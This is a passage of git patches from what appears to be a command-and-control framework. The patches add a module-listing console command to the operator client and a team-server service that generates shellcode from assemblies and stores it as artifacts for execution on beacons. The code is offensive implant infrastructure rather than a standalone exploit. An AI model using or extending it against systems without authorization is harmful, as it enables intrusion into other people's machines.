[f"{'name'.ljust(name_width)} status"] + for name, status in rows: + lines.append(f"{name.ljust(name_width)} {status}") + return "\n".join(lines) + + def _add_contextual_completions( children: list[tuple[str, list]], command: Any, @@ -939,6 +959,22 @@ def executeCommand(self, commandLine): self.setCursorEditorAtEnd() return + if instructions[0] == ListModuleInstruction: + self.printInTerminal(commandLine, "", "") + try: + modules = list(self.grpcClient.listModules( + TeamServerApi_pb2.SessionSelector( + beacon_hash=self.beaconHash, + listener_hash=self.listenerHash, + ) + )) + self.printInTerminal("", commandLine, _format_loaded_modules_for_console(modules)) + except Exception as exc: + self.printInTerminal("", commandLine, f"Error: {exc}") + self.setConsoleNotice("listModule failed.", True) + self.setCursorEditorAtEnd() + return + command_id = uuid.uuid4().hex command = TeamServerApi_pb2.SessionCommandRequest( session=TeamServerApi_pb2.SessionSelector( diff --git a/C2Client/TODO.md b/C2Client/TODO.md index 3b043d3..1503ecf 100644 --- a/C2Client/TODO.md +++ b/C2Client/TODO.md @@ -23,7 +23,7 @@ Objectif: rendre le client plus agreable pour un operateur, puis enrichir propre | 15 | [x] | Ameliorer le graph | M | Moyen | Fait. Layout auto qui separe listeners/beacons/pivots, positions manuelles preservees, boutons Auto/Fit/+/- zoom, labels/tooltips, fond sombre et connecteurs recalcules. | | 16 | [ ] | Generer des formulaires de commandes depuis les schemas assistant | L | Fort | Utiliser `assistant_agent/tools/schemas/*.json` pour proposer des commandes guidees sans tout taper a la main. | | 17 | [ ] | Ajouter `GetServerInfo` / `GetCapabilities` au proto | L | Fort | Version serveur, modules charges, features, chemins runtime, limites max message, auth mode. Premier vrai changement client-server. | -| 18 | [ ] | Ajouter `ListCommands` / `ListModules` structure | L | Tres fort | Partiel. `ListCommands` expose un catalogue serveur, tab UI `Commands`, autocomplete console sans fallback hardcode, specs simples pour modules, `GetCommandHelp` genere l'aide depuis les specs, `ListModules` stream les modules suivis par beacon, `loadModule` cache les modules actifs et `unloadModule` propose les modules charges. Reste persistence/historique modules. | +| 18 | [x] | Ajouter `ListCommands` / `ListModules` structure | L | Tres fort | Fait. `ListCommands` expose le catalogue serveur, tab UI `Commands`, autocomplete console sans fallback hardcode, specs simples pour modules, `GetCommandHelp` genere l'aide depuis les specs, `ListModules` stream les modules suivis par beacon, `listModule` affiche name/status dans la console, `loadModule` cache les modules actifs et `unloadModule` propose les modules charges. Persistence/historique modules reportes aux items audit/historique. | | 19 | [ ] | Ajouter `ValidateCommand` / `DryRunCommand` | L | Tres fort | Verifier une commande sans l'envoyer au beacon; retourner erreur, hint, instruction preparee, fichiers requis. | | 20 | [ ] | Ajouter un modele d'erreurs type dans le proto | L | Fort | `code`, `message`, `hint`, `details`; eviter de parser du texte libre cote client. | | 21 | [ ] | Ajouter historique/audit operateur cote serveur | XL | Tres fort | Qui a envoye quoi, quand, sur quelle session, command_id, resultat, statut. Base pour recherche, replay, reporting. | diff --git a/C2Client/tests/test_console_panel.py b/C2Client/tests/test_console_panel.py index ec70bc8..aed717b 100644 --- a/C2Client/tests/test_console_panel.py +++ b/C2Client/tests/test_console_panel.py @@ -16,6 +16,8 @@ def __init__(self): self.reject_commands = False self.responses = [] self.sent_commands = [] + self.modules = [] + self.list_modules_requests = [] def getCommandHelp(self, command): return SimpleNamespace(status=TeamServerApi_pb2.OK, command=command.command, help="help", message="") @@ -39,7 +41,8 @@ def listListeners(self): return iter([]) def listModules(self, session): - return iter([]) + self.list_modules_requests.append(session) + return iter(self.modules) class DummyPanel(QWidget): @@ -93,6 +96,37 @@ def test_command_ack_error_is_displayed_without_pending_emit(tmp_path, qtbot, mo assert 'rejected: "whoami"' in (tmp_path / 'host_user_beacon.log').read_text() +def test_list_module_command_uses_list_modules_without_queueing(tmp_path, qtbot, monkeypatch): + monkeypatch.chdir(tmp_path) + monkeypatch.setattr('C2Client.ConsolePanel.logsDir', str(tmp_path)) + monkeypatch.setattr('C2Client.ConsolePanel.QThread.start', lambda self: None) + + grpc = StubGrpc() + grpc.modules = [ + SimpleNamespace(name="pwd", state="loaded"), + SimpleNamespace(name="shell", state="loading", load_count=7, command_id="cmd-1"), + ] + parent = QWidget() + console = Console(parent, grpc, 'beacon', 'listener', 'host', 'user') + qtbot.addWidget(console) + grpc.list_modules_requests.clear() + + console.commandEditor.setText('listModule') + console.runCommand() + + assert grpc.sent_commands == [] + assert len(grpc.list_modules_requests) == 1 + assert grpc.list_modules_requests[0].beacon_hash == "beacon" + assert grpc.list_modules_requests[0].listener_hash == "listener" + output = console.editorOutput.toPlainText() + assert "pwd" in output + assert "loaded" in output + assert "shell" in output + assert "loading" in output + assert "count" not in output + assert "cmd-1" not in output + + def test_command_result_error_uses_message_for_display(tmp_path, qtbot, monkeypatch): monkeypatch.chdir(tmp_path) monkeypatch.setattr('C2Client.ConsolePanel.logsDir', str(tmp_path)) diff --git a/core b/core index 64af7ab..642f2be 160000 --- a/core +++ b/core @@ -1 +1 @@ -Subproject commit 64af7ab6eb858ea1115988c5a03a17314815c17b +Subproject commit 642f2be1ad5c28b90186a00f7bb9a4be6713b12c diff --git a/packaging/validate_release.py b/packaging/validate_release.py index 3de568a..cfed13f 100644 --- a/packaging/validate_release.py +++ b/packaging/validate_release.py @@ -240,6 +240,7 @@ def validate_base_release(release_root: Path) -> None: _require_non_empty_file(command_specs_root / "common" / "end.json") _require_non_empty_file(command_specs_root / "common" / "help.json") _require_non_empty_file(command_specs_root / "common" / "listener.json") + _require_non_empty_file(command_specs_root / "common" / "listModule.json") _require_non_empty_file(command_specs_root / "common" / "loadModule.json") _require_non_empty_file(command_specs_root / "common" / "unloadModule.json") _require_non_empty_file(command_specs_root / "modules" / "pwd.json") From 9635b3b5f0f7692d4cd467b25acceac920b169e2 Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Tue, 5 May 2026 16:11:40 +0200 Subject: [PATCH 28/82] ShellcodeService & AssemblyExec --- core | 2 +- packaging/validate_release.py | 1 + teamServer/CMakeLists.txt | 5 + teamServer/teamServer/TeamServer.cpp | 17 +- teamServer/teamServer/TeamServer.hpp | 4 + .../teamServer/TeamServerArtifactCatalog.cpp | 108 +++++++++ .../TeamServerAssemblyExecCommandPreparer.cpp | 126 +++++++++++ .../TeamServerAssemblyExecCommandPreparer.hpp | 35 +++ .../TeamServerCommandPreparationService.cpp | 32 ++- .../TeamServerCommandPreparationService.hpp | 10 +- .../teamServer/TeamServerCommandPreparer.hpp | 31 +++ teamServer/teamServer/TeamServerConfig.json | 1 + .../TeamServerGeneratedArtifactStore.cpp | 152 +++++++++++++ .../TeamServerGeneratedArtifactStore.hpp | 44 ++++ .../teamServer/TeamServerRuntimeConfig.cpp | 10 + .../teamServer/TeamServerRuntimeConfig.hpp | 1 + .../teamServer/TeamServerShellcodeService.cpp | 206 ++++++++++++++++++ .../teamServer/TeamServerShellcodeService.hpp | 41 ++++ ...amServerCommandPreparationServiceTests.cpp | 143 +++++++++++- 19 files changed, 953 insertions(+), 16 deletions(-) create mode 100644 teamServer/teamServer/TeamServerAssemblyExecCommandPreparer.cpp create mode 100644 teamServer/teamServer/TeamServerAssemblyExecCommandPreparer.hpp create mode 100644 teamServer/teamServer/TeamServerCommandPreparer.hpp create mode 100644 teamServer/teamServer/TeamServerGeneratedArtifactStore.cpp create mode 100644 teamServer/teamServer/TeamServerGeneratedArtifactStore.hpp create mode 100644 teamServer/teamServer/TeamServerShellcodeService.cpp create mode 100644 teamServer/teamServer/TeamServerShellcodeService.hpp diff --git a/core b/core index 642f2be..e04b806 160000 --- a/core +++ b/core @@ -1 +1 @@ -Subproject commit 642f2be1ad5c28b90186a00f7bb9a4be6713b12c +Subproject commit e04b80628d63f3072b4bea0407237a5b5504da6a diff --git a/packaging/validate_release.py b/packaging/validate_release.py index cfed13f..55de273 100644 --- a/packaging/validate_release.py +++ b/packaging/validate_release.py @@ -258,6 +258,7 @@ def validate_base_release(release_root: Path) -> None: _require_non_empty_file(command_specs_root / "modules" / "ipConfig.json") _require_non_empty_file(command_specs_root / "modules" / "netstat.json") _require_non_empty_file(command_specs_root / "modules" / "shell.json") + _require_non_empty_file(command_specs_root / "modules" / "assemblyExec.json") _require_non_empty_file(client_root / "README.md") _require_non_empty_file(client_root / "pyproject.toml") diff --git a/teamServer/CMakeLists.txt b/teamServer/CMakeLists.txt index b0ecfe5..ebbcf1c 100644 --- a/teamServer/CMakeLists.txt +++ b/teamServer/CMakeLists.txt @@ -3,15 +3,18 @@ include_directories(../core/modules/ModuleCmd) set(TEAMSERVER_CORE_SOURCES teamServer/TeamServer.cpp + teamServer/TeamServerAssemblyExecCommandPreparer.cpp teamServer/TeamServerArtifactCatalog.cpp teamServer/TeamServerArtifactService.cpp teamServer/TeamServerAuth.cpp teamServer/TeamServerCommandCatalog.cpp teamServer/TeamServerCommandCatalogService.cpp teamServer/TeamServerCommandPreparationService.cpp + teamServer/TeamServerGeneratedArtifactStore.cpp teamServer/TeamServerHelpService.cpp teamServer/TeamServerListenerArtifactService.cpp teamServer/TeamServerModuleLoader.cpp + teamServer/TeamServerShellcodeService.cpp teamServer/TeamServerSocksService.cpp teamServer/TeamServerTermLocalService.cpp teamServer/TeamServerRuntimeConfig.cpp @@ -46,6 +49,8 @@ set(TEAMSERVER_CORE_LINK_LIBS grpc::grpc spdlog::spdlog SocksServer + Donut + ${aplib64} dl rt ) diff --git a/teamServer/teamServer/TeamServer.cpp b/teamServer/teamServer/TeamServer.cpp index ff8e5ed..313e959 100644 --- a/teamServer/teamServer/TeamServer.cpp +++ b/teamServer/teamServer/TeamServer.cpp @@ -2,15 +2,18 @@ #include "TeamServerArtifactCatalog.hpp" #include "TeamServerArtifactService.hpp" +#include "TeamServerAssemblyExecCommandPreparer.hpp" #include "TeamServerAuth.hpp" #include "TeamServerBootstrap.hpp" #include "TeamServerCommandCatalog.hpp" #include "TeamServerCommandCatalogService.hpp" #include "TeamServerCommandPreparationService.hpp" +#include "TeamServerGeneratedArtifactStore.hpp" #include "TeamServerHelpService.hpp" #include "TeamServerListenerArtifactService.hpp" #include "TeamServerListenerSessionService.hpp" #include "TeamServerModuleLoader.hpp" +#include "TeamServerShellcodeService.hpp" #include "TeamServerSocksService.hpp" #include "TeamServerTermLocalService.hpp" #include "TeamServerRuntimeConfig.hpp" @@ -51,6 +54,8 @@ TeamServer::TeamServer(const nlohmann::json& config) m_authManager = std::make_unique(m_logger); m_authManager->configure(config); + m_generatedArtifactStore = std::make_shared(runtimeConfig); + m_shellcodeService = std::make_shared(m_logger); m_artifactService = std::make_unique( m_logger, TeamServerArtifactCatalog(runtimeConfig)); @@ -85,11 +90,19 @@ TeamServer::TeamServer(const nlohmann::json& config) }); m_moduleLoader = std::make_unique(m_logger, runtimeConfig); m_socksService = std::make_unique(m_logger, m_listeners); + std::vector> commandPreparers; + commandPreparers.push_back(std::make_unique( + m_logger, + runtimeConfig, + m_shellcodeService, + m_generatedArtifactStore, + m_moduleCmd)); m_commandPreparationService = std::make_unique( m_logger, - runtimeConfig.teamServerModulesDirectoryPath, + runtimeConfig, m_commonCommands, - m_moduleCmd); + m_moduleCmd, + std::move(commandPreparers)); m_termLocalService = std::make_unique( m_logger, m_config, diff --git a/teamServer/teamServer/TeamServer.hpp b/teamServer/teamServer/TeamServer.hpp index 387a721..4bc203b 100644 --- a/teamServer/teamServer/TeamServer.hpp +++ b/teamServer/teamServer/TeamServer.hpp @@ -32,12 +32,14 @@ class TeamServerAuthManager; class TeamServerArtifactService; class TeamServerCommandCatalogService; +class TeamServerGeneratedArtifactStore; class TeamServerHelpService; class TeamServerListenerSessionService; class TeamServerListenerArtifactService; class TeamServerModuleLoader; class TeamServerSocksService; class TeamServerCommandPreparationService; +class TeamServerShellcodeService; class TeamServerTermLocalService; class TeamServer final : public teamserverapi::TeamServerApi::Service @@ -98,11 +100,13 @@ class TeamServer final : public teamserverapi::TeamServerApi::Service std::unique_ptr m_authManager; std::unique_ptr m_artifactService; std::unique_ptr m_commandCatalogService; + std::shared_ptr m_generatedArtifactStore; std::unique_ptr m_helpService; std::unique_ptr m_listenerSessionService; std::unique_ptr m_listenerArtifactService; std::unique_ptr m_moduleLoader; std::unique_ptr m_socksService; std::unique_ptr m_commandPreparationService; + std::shared_ptr m_shellcodeService; std::unique_ptr m_termLocalService; }; diff --git a/teamServer/teamServer/TeamServerArtifactCatalog.cpp b/teamServer/teamServer/TeamServerArtifactCatalog.cpp index 1c55b3e..2df1ab1 100644 --- a/teamServer/teamServer/TeamServerArtifactCatalog.cpp +++ b/teamServer/teamServer/TeamServerArtifactCatalog.cpp @@ -11,8 +11,10 @@ #include #include #include +#include namespace fs = std::filesystem; +using json = nlohmann::json; namespace { @@ -119,6 +121,28 @@ std::string sha256File(const fs::path& path) return bytesToHex(digest.data(), digestLength); } +std::string jsonString(const json& input, const char* key, const std::string& fallback = "") +{ + auto it = input.find(key); + if (it == input.end() || !it->is_string()) + return fallback; + return it->get(); +} + +std::vector jsonStringList(const json& input, const char* key) +{ + std::vector values; + auto it = input.find(key); + if (it == input.end() || !it->is_array()) + return values; + for (const auto& value : *it) + { + if (value.is_string()) + values.push_back(value.get()); + } + return values; +} + bool hasHiddenComponent(const fs::path& relativePath) { for (const auto& component : relativePath) @@ -223,6 +247,89 @@ void collectDirectoryArtifacts( } } +void collectGeneratedArtifacts( + const fs::path& root, + std::vector& artifacts) +{ + std::error_code ec; + if (root.empty() || !fs::exists(root, ec) || !fs::is_directory(root, ec)) + return; + + fs::recursive_directory_iterator iterator(root, fs::directory_options::skip_permission_denied, ec); + const fs::recursive_directory_iterator end; + if (ec) + return; + + for (; iterator != end; iterator.increment(ec)) + { + if (ec) + { + ec.clear(); + continue; + } + + const fs::path sidecarPath = iterator->path(); + if (!fs::is_regular_file(sidecarPath, ec) || sidecarPath.extension() != ".json") + continue; + if (sidecarPath.filename().string().find(".artifact.json") == std::string::npos) + continue; + + std::ifstream input(sidecarPath); + if (!input.good()) + continue; + json metadata = json::parse(input, nullptr, false); + if (metadata.is_discarded() || !metadata.is_object()) + continue; + + const fs::path payloadPath = sidecarPath.parent_path() / jsonString(metadata, "file"); + if (!fs::exists(payloadPath, ec) || !fs::is_regular_file(payloadPath, ec)) + continue; + const std::string contentHash = sha256File(payloadPath); + if (contentHash.empty()) + continue; + + TeamServerArtifactRecord artifact; + artifact.name = jsonString(metadata, "name", payloadPath.filename().string()); + artifact.displayName = jsonString(metadata, "display_name", payloadPath.filename().string()); + artifact.category = jsonString(metadata, "category", "payload"); + artifact.scope = jsonString(metadata, "scope", "generated"); + artifact.target = jsonString(metadata, "target", "beacon"); + artifact.platform = jsonString(metadata, "platform", "any"); + artifact.arch = jsonString(metadata, "arch", "any"); + artifact.format = jsonString(metadata, "format", detectFormat(payloadPath)); + artifact.runtime = jsonString(metadata, "runtime", "shellcode"); + artifact.source = jsonString(metadata, "source", "generated"); + artifact.description = jsonString(metadata, "description"); + artifact.tags = jsonStringList(metadata, "tags"); + artifact.sha256 = jsonString(metadata, "sha256", contentHash); + if (artifact.sha256 != contentHash) + continue; + artifact.internalPath = payloadPath.string(); + artifact.size = static_cast(fs::file_size(payloadPath, ec)); + if (ec) + { + ec.clear(); + artifact.size = 0; + } + + artifact.artifactId = jsonString(metadata, "artifact_id"); + if (artifact.artifactId.empty()) + { + artifact.artifactId = sha256String( + artifact.source + "\n" + + artifact.category + "\n" + + artifact.target + "\n" + + artifact.platform + "\n" + + artifact.arch + "\n" + + artifact.runtime + "\n" + + artifact.name + "\n" + + artifact.sha256); + } + if (!artifact.artifactId.empty() && !artifact.sha256.empty()) + artifacts.push_back(std::move(artifact)); + } +} + void collectWindowsArchArtifacts( const fs::path& root, const std::vector& supportedArchs, @@ -258,6 +365,7 @@ std::vector TeamServerArtifactCatalog::listArtifacts(c collectWindowsArchArtifacts(m_runtimeConfig.windowsBeaconsDirectoryPath, m_runtimeConfig.supportedWindowsArchs, "beacon", "implant", "listener", "native", allArtifacts); collectDirectoryArtifacts(m_runtimeConfig.toolsDirectoryPath, "tool", "server", "teamserver", "any", "any", "any", allArtifacts); collectDirectoryArtifacts(m_runtimeConfig.scriptsDirectoryPath, "script", "teamserver", "teamserver", "any", "any", "python", allArtifacts); + collectGeneratedArtifacts(m_runtimeConfig.generatedArtifactsDirectoryPath, allArtifacts); std::vector filteredArtifacts; for (const TeamServerArtifactRecord& artifact : allArtifacts) diff --git a/teamServer/teamServer/TeamServerAssemblyExecCommandPreparer.cpp b/teamServer/teamServer/TeamServerAssemblyExecCommandPreparer.cpp new file mode 100644 index 0000000..fb5b7da --- /dev/null +++ b/teamServer/teamServer/TeamServerAssemblyExecCommandPreparer.cpp @@ -0,0 +1,126 @@ +#include "TeamServerAssemblyExecCommandPreparer.hpp" + +#include +#include + +#include "modules/AssemblyExec/AssemblyExecCommandOptions.hpp" + +namespace fs = std::filesystem; + +namespace +{ +std::string resolveSourcePath(const TeamServerRuntimeConfig& runtimeConfig, const std::string& path) +{ + if (path.empty()) + return ""; + if (fs::exists(path)) + return path; + + fs::path toolPath = fs::path(runtimeConfig.toolsDirectoryPath) / path; + if (fs::exists(toolPath)) + return toolPath.string(); + return path; +} + +ModuleCmd* findModule(std::vector>& modules, const std::string& name) +{ + const std::string loweredName = assembly_exec_command::lowerCopy(name); + for (const auto& module : modules) + { + if (module && assembly_exec_command::lowerCopy(module->getName()) == loweredName) + return module.get(); + } + return nullptr; +} +} // namespace + +TeamServerAssemblyExecCommandPreparer::TeamServerAssemblyExecCommandPreparer( + std::shared_ptr logger, + TeamServerRuntimeConfig runtimeConfig, + std::shared_ptr shellcodeService, + std::shared_ptr artifactStore, + std::vector>& moduleCmd) + : m_logger(std::move(logger)), + m_runtimeConfig(std::move(runtimeConfig)), + m_shellcodeService(std::move(shellcodeService)), + m_artifactStore(std::move(artifactStore)), + m_moduleCmd(moduleCmd) +{ +} + +bool TeamServerAssemblyExecCommandPreparer::canPrepare(const std::string& instruction) const +{ + return assembly_exec_command::lowerCopy(instruction) == "assemblyexec"; +} + +TeamServerCommandPreparerResult TeamServerAssemblyExecCommandPreparer::prepare( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const +{ + TeamServerCommandPreparerResult result; + assembly_exec_command::CommandOptions options = assembly_exec_command::parseCommandOptions(context.tokens); + if (options.modeOnly) + return result; + + result.handled = true; + result.status = -1; + if (!options.error.empty()) + { + c2Message.set_returnvalue(options.error + "\n"); + return result; + } + + if (!m_shellcodeService || !m_artifactStore) + { + c2Message.set_returnvalue("Shellcode preparation service is not available.\n"); + return result; + } + + TeamServerShellcodeRequest shellcodeRequest; + shellcodeRequest.generator = options.generator; + shellcodeRequest.sourcePath = resolveSourcePath(m_runtimeConfig, options.sourcePath); + shellcodeRequest.sourceType = options.sourceType; + shellcodeRequest.arch = context.windowsArch; + shellcodeRequest.method = options.method; + shellcodeRequest.arguments = options.arguments; + shellcodeRequest.exitPolicy = options.mode == "thread" ? "thread" : "process"; + + TeamServerShellcodeResult shellcode = m_shellcodeService->generate(shellcodeRequest); + if (!shellcode.ok) + { + c2Message.set_returnvalue(shellcode.message + "\n"); + return result; + } + + TeamServerGeneratedArtifactRequest artifactRequest; + artifactRequest.nameHint = "assemblyExec-" + fs::path(shellcodeRequest.sourcePath).filename().string() + ".bin"; + artifactRequest.bytes = shellcode.bytes; + artifactRequest.platform = context.isWindows ? "windows" : "linux"; + artifactRequest.arch = context.isWindows ? context.windowsArch : "any"; + artifactRequest.source = shellcode.generator; + artifactRequest.description = "Generated shellcode for assemblyExec."; + artifactRequest.tags = {"assemblyExec", shellcode.sourceType}; + TeamServerGeneratedArtifactRecord artifact = m_artifactStore->store(artifactRequest); + if (artifact.path.empty()) + { + c2Message.set_returnvalue("Could not store generated shellcode artifact.\n"); + return result; + } + + ModuleCmd* module = findModule(m_moduleCmd, "assemblyExec"); + if (!module) + { + c2Message.set_returnvalue("Module assemblyExec not found.\n"); + return result; + } + + ModulePreparedShellcodeTask task; + task.inputFile = artifact.path; + task.payload = shellcode.bytes; + task.executionMode = options.mode.empty() ? "process" : options.mode; + task.displayCommand = options.displayCommand; + result.status = module->initPreparedShellcode(task, c2Message); + if (result.status == 0 && m_logger) + m_logger->info("assemblyExec prepared shellcode artifact {}", artifact.path); + return result; +} diff --git a/teamServer/teamServer/TeamServerAssemblyExecCommandPreparer.hpp b/teamServer/teamServer/TeamServerAssemblyExecCommandPreparer.hpp new file mode 100644 index 0000000..42a2541 --- /dev/null +++ b/teamServer/teamServer/TeamServerAssemblyExecCommandPreparer.hpp @@ -0,0 +1,35 @@ +#pragma once + +#include +#include +#include + +#include "TeamServerCommandPreparer.hpp" +#include "TeamServerGeneratedArtifactStore.hpp" +#include "TeamServerRuntimeConfig.hpp" +#include "TeamServerShellcodeService.hpp" +#include "modules/ModuleCmd/ModuleCmd.hpp" +#include "spdlog/logger.h" + +class TeamServerAssemblyExecCommandPreparer final : public TeamServerCommandPreparer +{ +public: + TeamServerAssemblyExecCommandPreparer( + std::shared_ptr logger, + TeamServerRuntimeConfig runtimeConfig, + std::shared_ptr shellcodeService, + std::shared_ptr artifactStore, + std::vector>& moduleCmd); + + bool canPrepare(const std::string& instruction) const override; + TeamServerCommandPreparerResult prepare( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const override; + +private: + std::shared_ptr m_logger; + TeamServerRuntimeConfig m_runtimeConfig; + std::shared_ptr m_shellcodeService; + std::shared_ptr m_artifactStore; + std::vector>& m_moduleCmd; +}; diff --git a/teamServer/teamServer/TeamServerCommandPreparationService.cpp b/teamServer/teamServer/TeamServerCommandPreparationService.cpp index 73f9ccb..1eada17 100644 --- a/teamServer/teamServer/TeamServerCommandPreparationService.cpp +++ b/teamServer/teamServer/TeamServerCommandPreparationService.cpp @@ -3,6 +3,7 @@ #include #include #include +#include #include "TeamServerRuntimeConfig.hpp" @@ -10,13 +11,15 @@ namespace fs = std::filesystem; TeamServerCommandPreparationService::TeamServerCommandPreparationService( std::shared_ptr logger, - std::string teamServerModulesDirectoryPath, + TeamServerRuntimeConfig runtimeConfig, CommonCommands& commonCommands, - std::vector>& moduleCmd) + std::vector>& moduleCmd, + std::vector> preparers) : m_logger(std::move(logger)), - m_teamServerModulesDirectoryPath(std::move(teamServerModulesDirectoryPath)), + m_runtimeConfig(std::move(runtimeConfig)), m_commonCommands(commonCommands), - m_moduleCmd(moduleCmd) + m_moduleCmd(moduleCmd), + m_preparers(std::move(preparers)) { } @@ -80,6 +83,23 @@ int TeamServerCommandPreparationService::prepareMessage( normalizedWindowsArch = "x64"; bool isModuleFound = false; + TeamServerCommandPreparerContext preparerContext; + preparerContext.input = input; + preparerContext.tokens = splitedCmd; + preparerContext.isWindows = isWindows; + preparerContext.windowsArch = normalizedWindowsArch; + for (const auto& preparer : m_preparers) + { + if (!preparer || !preparer->canPrepare(instruction)) + continue; + TeamServerCommandPreparerResult prepared = preparer->prepare(preparerContext, c2Message); + if (prepared.handled) + { + m_logger->trace("prepMsg end"); + return prepared.status; + } + } + for (int i = 0; i < m_commonCommands.getNumberOfCommand(); i++) { if (instruction != m_commonCommands.getCommand(i)) @@ -100,10 +120,10 @@ int TeamServerCommandPreparationService::prepareMessage( if (!((param.size() >= 3 && param.substr(param.size() - 3) == ".so") || (param.size() >= 4 && param.substr(param.size() - 3) == ".dll"))) { - m_logger->debug("Translate instruction to module name to load in {0}", m_teamServerModulesDirectoryPath.c_str()); + m_logger->debug("Translate instruction to module name to load in {0}", m_runtimeConfig.teamServerModulesDirectoryPath.c_str()); try { - for (const auto& entry : fs::recursive_directory_iterator(m_teamServerModulesDirectoryPath)) + for (const auto& entry : fs::recursive_directory_iterator(m_runtimeConfig.teamServerModulesDirectoryPath)) { if (!fs::is_regular_file(entry.path()) || entry.path().extension() != ".so") continue; diff --git a/teamServer/teamServer/TeamServerCommandPreparationService.hpp b/teamServer/teamServer/TeamServerCommandPreparationService.hpp index 8d0b639..4204003 100644 --- a/teamServer/teamServer/TeamServerCommandPreparationService.hpp +++ b/teamServer/teamServer/TeamServerCommandPreparationService.hpp @@ -4,6 +4,8 @@ #include #include +#include "TeamServerCommandPreparer.hpp" +#include "TeamServerRuntimeConfig.hpp" #include "modules/ModuleCmd/CommonCommand.hpp" #include "modules/ModuleCmd/ModuleCmd.hpp" #include "spdlog/logger.h" @@ -13,9 +15,10 @@ class TeamServerCommandPreparationService public: TeamServerCommandPreparationService( std::shared_ptr logger, - std::string teamServerModulesDirectoryPath, + TeamServerRuntimeConfig runtimeConfig, CommonCommands& commonCommands, - std::vector>& moduleCmd); + std::vector>& moduleCmd, + std::vector> preparers = {}); int prepareMessage( const std::string& input, @@ -28,7 +31,8 @@ class TeamServerCommandPreparationService void splitInputCmd(const std::string& input, std::vector& splitedList) const; std::shared_ptr m_logger; - std::string m_teamServerModulesDirectoryPath; + TeamServerRuntimeConfig m_runtimeConfig; CommonCommands& m_commonCommands; std::vector>& m_moduleCmd; + std::vector> m_preparers; }; diff --git a/teamServer/teamServer/TeamServerCommandPreparer.hpp b/teamServer/teamServer/TeamServerCommandPreparer.hpp new file mode 100644 index 0000000..b738640 --- /dev/null +++ b/teamServer/teamServer/TeamServerCommandPreparer.hpp @@ -0,0 +1,31 @@ +#pragma once + +#include +#include + +class C2Message; + +struct TeamServerCommandPreparerContext +{ + std::string input; + std::vector tokens; + bool isWindows = true; + std::string windowsArch = "x64"; +}; + +struct TeamServerCommandPreparerResult +{ + bool handled = false; + int status = 0; +}; + +class TeamServerCommandPreparer +{ +public: + virtual ~TeamServerCommandPreparer() = default; + + virtual bool canPrepare(const std::string& instruction) const = 0; + virtual TeamServerCommandPreparerResult prepare( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const = 0; +}; diff --git a/teamServer/teamServer/TeamServerConfig.json b/teamServer/teamServer/TeamServerConfig.json index 4a0cdc4..fb6caf1 100644 --- a/teamServer/teamServer/TeamServerConfig.json +++ b/teamServer/teamServer/TeamServerConfig.json @@ -11,6 +11,7 @@ "ToolsDirectoryPath": "../Tools/", "ScriptsDirectoryPath": "../Scripts/", "CommandSpecsDirectoryPath": "../CommandSpecs/", + "GeneratedArtifactsDirectoryPath": "../GeneratedArtifacts/", "//Host contacted by the beacon": "3 following value are related to the host, probably a proxy, that will be contacted by the beacon, if DomainName is filled it will be selected first, then the ExposedIp and then the IpInterface", "DomainName": "", "ExposedIp": "", diff --git a/teamServer/teamServer/TeamServerGeneratedArtifactStore.cpp b/teamServer/teamServer/TeamServerGeneratedArtifactStore.cpp new file mode 100644 index 0000000..11818e2 --- /dev/null +++ b/teamServer/teamServer/TeamServerGeneratedArtifactStore.cpp @@ -0,0 +1,152 @@ +#include "TeamServerGeneratedArtifactStore.hpp" + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "nlohmann/json.hpp" + +namespace fs = std::filesystem; +using json = nlohmann::json; + +namespace +{ +std::string bytesToHex(const unsigned char* bytes, unsigned int length) +{ + std::ostringstream output; + output << std::hex << std::setfill('0'); + for (unsigned int index = 0; index < length; ++index) + output << std::setw(2) << static_cast(bytes[index]); + return output.str(); +} + +std::string sha256String(const std::string& value) +{ + std::array digest = {}; + unsigned int digestLength = 0; + + EVP_MD_CTX* context = EVP_MD_CTX_new(); + if (!context) + return ""; + + const bool ok = EVP_DigestInit_ex(context, EVP_sha256(), nullptr) == 1 + && EVP_DigestUpdate(context, value.data(), value.size()) == 1 + && EVP_DigestFinal_ex(context, digest.data(), &digestLength) == 1; + EVP_MD_CTX_free(context); + + if (!ok) + return ""; + return bytesToHex(digest.data(), digestLength); +} + +std::string sanitizeName(std::string value) +{ + for (char& ch : value) + { + const unsigned char c = static_cast(ch); + if (!std::isalnum(c) && ch != '.' && ch != '-' && ch != '_') + ch = '_'; + } + value.erase(std::remove(value.begin(), value.end(), '/'), value.end()); + value.erase(std::remove(value.begin(), value.end(), '\\'), value.end()); + if (value.empty()) + value = "artifact.bin"; + return value; +} + +std::string artifactIdFor(const TeamServerGeneratedArtifactRequest& request, const std::string& name, const std::string& sha256) +{ + return sha256String( + request.source + "\n" + + request.category + "\n" + + request.target + "\n" + + request.platform + "\n" + + request.arch + "\n" + + request.runtime + "\n" + + name + "\n" + + sha256); +} +} // namespace + +TeamServerGeneratedArtifactStore::TeamServerGeneratedArtifactStore(TeamServerRuntimeConfig runtimeConfig) + : m_runtimeConfig(std::move(runtimeConfig)) +{ +} + +TeamServerGeneratedArtifactRecord TeamServerGeneratedArtifactStore::store(const TeamServerGeneratedArtifactRequest& request) const +{ + TeamServerGeneratedArtifactRecord record; + if (request.bytes.empty()) + return record; + + const std::string sha256 = sha256String(request.bytes); + if (sha256.empty()) + return record; + + std::string displayName = sanitizeName(request.nameHint); + if (displayName.find('.') == std::string::npos && !request.format.empty()) + displayName += "." + request.format; + const std::string name = sha256.substr(0, 12) + "-" + displayName; + + const fs::path root = fs::path(m_runtimeConfig.generatedArtifactsDirectoryPath) + / request.category + / request.source; + std::error_code ec; + fs::create_directories(root, ec); + if (ec) + return record; + + const fs::path artifactPath = root / name; + std::ofstream output(artifactPath, std::ios::binary); + if (!output.good()) + return record; + output.write(request.bytes.data(), static_cast(request.bytes.size())); + output.close(); + + record.artifactId = artifactIdFor(request, name, sha256); + record.path = artifactPath.string(); + record.name = name; + record.displayName = displayName; + record.sha256 = sha256; + record.size = static_cast(request.bytes.size()); + + json sidecar; + sidecar["artifact_id"] = record.artifactId; + sidecar["file"] = artifactPath.filename().string(); + sidecar["name"] = record.name; + sidecar["display_name"] = record.displayName; + sidecar["category"] = request.category; + sidecar["scope"] = request.scope; + sidecar["target"] = request.target; + sidecar["platform"] = request.platform; + sidecar["arch"] = request.arch; + sidecar["format"] = request.format; + 